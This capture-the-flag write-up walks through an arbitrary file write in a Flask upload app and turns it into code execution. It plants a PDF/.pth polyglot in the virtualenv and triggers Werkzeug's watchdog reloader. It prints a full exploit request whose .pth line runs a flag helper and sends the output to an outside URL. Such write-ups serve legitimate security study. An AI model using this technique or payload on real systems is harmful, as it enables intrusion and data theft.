Midnight Flag Finals 2026 - Midnight Archive
Dirty arbitrary file write to code execution via .pth and Werkzeug watchdog
In this challenge, we have a Flask app that lets us upload PDF documents to “The Midnight Archive”.
The flag itself is stored in /root/flag.txt, however the container also ships a suid helper that will print it for us.
So the aim is simple: get code execution as the ctf user, then call /getflag.
This is a nice dirty arbitrary file write challenge. The primitive is constrained, because we cannot use .., and filenames ending in .py and .pyc are blocked, while the content also has to pass a PDF MIME check. Even with those restrictions, we still get enough control to land code in a useful place.
After looking at the source code, the challenge breaks down into 4 parts:
- Abuse the dirty arbitrary file write to write to an arbitrary absolute path
- Drop a malicious
.pthfile inside the Python virtualenv - Bypass the PDF-only restriction with a PDF/
.pthpolyglot - Force Flask’s watchdog reloader to restart the interpreter so our
.pthgets executed
The upload route looks like this:
1@app.route("/", methods=["GET", "POST"])
2def upload():
3 message = ""
4 if request.method == "POST":
5 file = request.files.get("file")
6 if not file or file.filename == "":
7 abort(400, "No file uploaded")
8 file_head = file.read(2048)
9 file.seek(0)
10 detected_mime = mime.from_buffer(file_head)
11 if '..' in file.filename or file.filename.endswith('.py') or file.filename.endswith('.pyc'):
12 abort(400, 'Invalid file name')
13 if detected_mime not in ALLOWED_MIME_TYPES:
14 abort(400, f"Invalid file type: {detected_mime}")
15 filename = file.filename
16 save_path = UPLOAD_DIR / filename
17 file.save(save_path)
18 message = f"Document accepted into the Archive ({detected_mime}) at {save_path}"
19 return render_template("index.html", message=message, catalogue=CATALOGUE, stats=ARCHIVE_STATS)
At first glance, it looks like they blocked path traversal with the .. check, but what they really built is a dirty arbitrary file write. The important bug is here:
1save_path = UPLOAD_DIR / filename
UPLOAD_DIR is a pathlib.Path("uploads"). If filename is an absolute path, pathlib simply discards the left-hand side:
1Path("uploads") / "/tmp/test" == Path("/tmp/test")
So we do not need traversal at all. We can just upload a file named something like:
1path/hehe.pth
Now we need to find a good place to write to. The Dockerfile gives us exactly what we need:
1RUN useradd --create-home --uid 10001 ctf \
2 && mkdir -p /opt /app/uploads \
3 && chown ctf:ctf /opt /app/uploads
4
5 ...
6
7USER ctf
8WORKDIR /app
9RUN python -m venv /opt/venv
Because the virtualenv is created after switching to the ctf user, its site-packages directory is writable by the application.
The next idea is to abuse a .pth file.
For anyone not familiar with the .pth files, here’s a quick primer:
-
Python supports a feature called site-specific configuration hooks. Its main purpose is to add custom paths to the module search path.
-
Any
.pthfile found within the site-packages directory is run at every Python startup, regardless of whether the particular module is actually going to be used.
Thankfully, the Flask app is started with the watchdog reloader enabled:
1 app.run(
2 host="0.0.0.0",
3 use_reloader=True,
4 use_debugger=False,
5 reloader_type="watchdog",
6 )
And Werkzeug 3.1.8 watches changes matching *.py, *.pyc, and *.zip:
1self.event_handler = EventHandler(
2 patterns=["*.py", "*.pyc", "*.zip", *extra_patterns],
3 ignore_patterns=[...],
4)
So after uploading our .pth, we just need to upload any second file ending in .zip into the same watched directory. It does not even need to be a real zip file, only the filename matters.
I used this path:
1/opt/venv/lib/python3.11/site-packages/hehe.zip
Once watchdog sees the new .zip, it restarts the Python process. On restart, Python processes our .pth and executes whatever we have written in it.
The only remaining problem is the MIME check. The app only accepts files detected as application/pdf.
Luckily, a .pth file is just a text file, and Python will happily parse it line by line. All the non-import lines are treated as path entries and ignored if they do not exist.
So we can build a small PDF/.pth polyglot where the only meaningful line for Python is our import line:
1%PDF-1.4
2import ...
libmagic sees a PDF, while Python sees a .pth file with one executable line.
At this point we can upload our file to prepare the flag exfiltration:
1POST / HTTP/1.1
2Host: dyn-01.midnightflag.fr:14799
3...
4
5------WebKitFormBoundaryr1nxE28S1ASBSCxx
6Content-Disposition: form-data; name="file"; filename="/opt/venv/lib/python3.11/site-packages/hehe.pth"
7Content-Type: application/pdf
8
9%PDF-1.4
10import urllib.request,sys,os,base64,subprocess;r=subprocess.run(['/getflag'],stdout=subprocess.PIPE);urllib.request.urlopen('url/?f='+str(r.stdout).replace('\n',''))
11------WebKitFormBoundaryr1nxE28S1ASBSCxx--
Then we simply use the same PDF polyglot trick to upload our zip file to /opt/venv/lib/python3.11/site-packages/hehe.zip and receive the flag:
MCTF{D0NNE_PDF_N0_N00B_N0_4RNAK}